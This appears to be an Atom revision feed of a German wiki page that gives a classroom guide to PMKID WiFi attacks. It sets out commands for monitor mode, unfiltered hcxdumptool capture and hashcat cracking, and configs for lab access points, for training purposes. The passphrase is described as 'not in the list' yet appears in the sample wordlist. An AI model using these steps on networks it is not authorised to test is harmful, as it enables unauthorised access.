<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de">
	<id>https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=Wlan_PMKID-Angriff</id>
	<title>Wlan PMKID-Angriff - Versionsgeschichte</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.ixheim.de/index.php?action=history&amp;feed=atom&amp;title=Wlan_PMKID-Angriff"/>
	<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=Wlan_PMKID-Angriff&amp;action=history"/>
	<updated>2026-06-29T04:03:38Z</updated>
	<subtitle>Versionsgeschichte dieser Seite in Xinux Wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://wiki.ixheim.de/index.php?title=Wlan_PMKID-Angriff&amp;diff=63215&amp;oldid=prev</id>
		<title>Thomas.will: Die Seite wurde neu angelegt: „=PMKID-Angriff in der WLAN-Schulung=  == Vorbereitung == =Passwordliste generieren= *crunch 8 8 0123456789 -o password.lst  Crunch will now generate the follow…“</title>
		<link rel="alternate" type="text/html" href="https://wiki.ixheim.de/index.php?title=Wlan_PMKID-Angriff&amp;diff=63215&amp;oldid=prev"/>
		<updated>2025-05-21T13:17:58Z</updated>

		<summary type="html">&lt;p&gt;Die Seite wurde neu angelegt: „=PMKID-Angriff in der WLAN-Schulung=  == Vorbereitung == =Passwordliste generieren= *crunch 8 8 0123456789 -o password.lst  Crunch will now generate the follow…“&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Neue Seite&lt;/b&gt;&lt;/p&gt;&lt;div&gt;=PMKID-Angriff in der WLAN-Schulung=&lt;br /&gt;
&lt;br /&gt;
== Vorbereitung ==&lt;br /&gt;
=Passwordliste generieren=&lt;br /&gt;
*crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
 Crunch will now generate the following amount of data: 900000000 bytes&lt;br /&gt;
 ... dies dauert eine Weile&lt;br /&gt;
&lt;br /&gt;
=Störende Dienste stoppen=&lt;br /&gt;
*systemctl stop avahi-daemon&lt;br /&gt;
*systemctl stop NetworkManager&lt;br /&gt;
&lt;br /&gt;
=Interface suchen=&lt;br /&gt;
*airmon-ng&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PHY     Interface       Driver          Chipset&lt;br /&gt;
phy0    wlan0           rtl8812au       Alfa AWUS036ACH&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Interface vorbereiten=&lt;br /&gt;
*ip link set wlan0 down&lt;br /&gt;
*iw dev wlan0 set type monitor&lt;br /&gt;
*ip link set wlan0 up&lt;br /&gt;
&lt;br /&gt;
=PMKID-Sammlung starten=&lt;br /&gt;
*hcxdumptool -i wlan0 -o pmkid.pcapng --enable_status=15&lt;br /&gt;
;läuft, bis man Strg+C drückt&lt;br /&gt;
&lt;br /&gt;
=PMKID extrahieren=&lt;br /&gt;
*hcxpcapngtool -o pmkid.hash -E essidlist.txt pmkid.pcapng&lt;br /&gt;
&lt;br /&gt;
=PMKID mit Hashcat knacken=&lt;br /&gt;
*hashcat -m 16800 pmkid.hash password.lst&lt;br /&gt;
&lt;br /&gt;
=Beispielhafte Auswertung=&lt;br /&gt;
*Laptop: ~1000 H/s&lt;br /&gt;
*GPU (RTX 3080): bis 800000 H/s&lt;br /&gt;
*Crack über GPU-Cluster oder Cloud möglich&lt;br /&gt;
&lt;br /&gt;
== AP-Konfiguration für PMKID-Test==&lt;br /&gt;
=Garantiert PMKID-fähige hostapd.conf=&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
interface=wlan0&lt;br /&gt;
driver=nl80211&lt;br /&gt;
ssid=crackme&lt;br /&gt;
hw_mode=g&lt;br /&gt;
channel=6&lt;br /&gt;
country_code=DE&lt;br /&gt;
ieee80211n=1&lt;br /&gt;
auth_algs=1&lt;br /&gt;
wpa=2&lt;br /&gt;
wpa_key_mgmt=WPA-PSK&lt;br /&gt;
rsn_pairwise=CCMP&lt;br /&gt;
wpa_passphrase=Sommer2024&lt;br /&gt;
own_ip_addr=127.0.0.1&lt;br /&gt;
eap_server=0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;Hinweis: hostapd bietet PMKID standardmäßig an, wenn ein Client verbunden war oder Roaming aktiviert ist.&lt;br /&gt;
&lt;br /&gt;
== Fake-APs simulieren (für mehrere Gruppen)==&lt;br /&gt;
=Option 1: Mehrere Instanzen von hostapd (getrennte Interfaces notwendig)=&lt;br /&gt;
*cp hostapd.conf hostapd1.conf&lt;br /&gt;
*cp hostapd.conf hostapd2.conf&lt;br /&gt;
*Ändere SSID und channel in jeder Datei&lt;br /&gt;
&lt;br /&gt;
Beispiel:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ssid=crackme01&lt;br /&gt;
channel=1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ssid=crackme02&lt;br /&gt;
channel=6&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
*hostapd -dd hostapd1.conf &amp;amp;&lt;br /&gt;
*hostapd -dd hostapd2.conf &amp;amp;&lt;br /&gt;
&lt;br /&gt;
=Option 2: Einfacher Fake-AP mit create_ap (nur zu Demo-Zwecken)=&lt;br /&gt;
*apt install create-ap&lt;br /&gt;
*create_ap wlan0 eth0 crackme123 Sommer2024&lt;br /&gt;
&lt;br /&gt;
;Wird nicht von allen PMKID-Tools erkannt, aber gut für Fake-Kulisse oder Captive Portals.&lt;br /&gt;
&lt;br /&gt;
== Schülerübung: &amp;quot;Crack Me!&amp;quot; WLAN ==&lt;br /&gt;
=Zielsetzung=&lt;br /&gt;
* Schüler scannen Umgebung&lt;br /&gt;
* Erfassen PMKID mit hcxdumptool&lt;br /&gt;
* Cracken mit vorbereiteter Wordlist&lt;br /&gt;
&lt;br /&gt;
=Beispiel-SSID und Passwort (nicht in Liste)=&lt;br /&gt;
*SSID: crackme&lt;br /&gt;
*Passwort: Sommer2024&lt;br /&gt;
&lt;br /&gt;
=passende Wordlist (Ausschnitt)=&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hallo123&lt;br /&gt;
testtest&lt;br /&gt;
Sommer2023&lt;br /&gt;
Sommer2024&lt;br /&gt;
Winter2024&lt;br /&gt;
12345678&lt;br /&gt;
98765432&lt;br /&gt;
00001234&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Cracken starten=&lt;br /&gt;
*hashcat -m 16800 pmkid.hash wordlist.txt&lt;br /&gt;
&lt;br /&gt;
== Abschluss ==&lt;br /&gt;
=Diskussion=&lt;br /&gt;
* Warum klappt PMKID ohne Client?&lt;br /&gt;
* Welche APs sind verwundbar?&lt;br /&gt;
* Warum ist WPA3 hier sicherer?&lt;br /&gt;
&lt;br /&gt;
=Weiterführende Tools=&lt;br /&gt;
*Bettercap&lt;br /&gt;
*roguehostapd&lt;br /&gt;
*hostapd-wpe (für Enterprise-Angriffe)&lt;br /&gt;
*Captive-Portal-Frameworks: WiFiPhisher, Fluxion&lt;br /&gt;
&lt;br /&gt;
=Videos=&lt;br /&gt;
*[https://www.youtube.com/watch?v=dvmrQ0CzCy4 PMKID Angriff mit hcxdumptool]&lt;br /&gt;
*[https://www.youtube.com/watch?v=vnLfCtpANvI WPA Handshake Crack]&lt;br /&gt;
&lt;br /&gt;
=Links=&lt;br /&gt;
*[https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 Cracking WPA-PMKID with Hashcat]&lt;br /&gt;
*[https://github.com/ZerBea/hcxdumptool hcxdumptool GitHub]&lt;br /&gt;
*[https://github.com/ZerBea/hcxtools hcxtools GitHub]&lt;/div&gt;</summary>
		<author><name>Thomas.will</name></author>
	</entry>
</feed>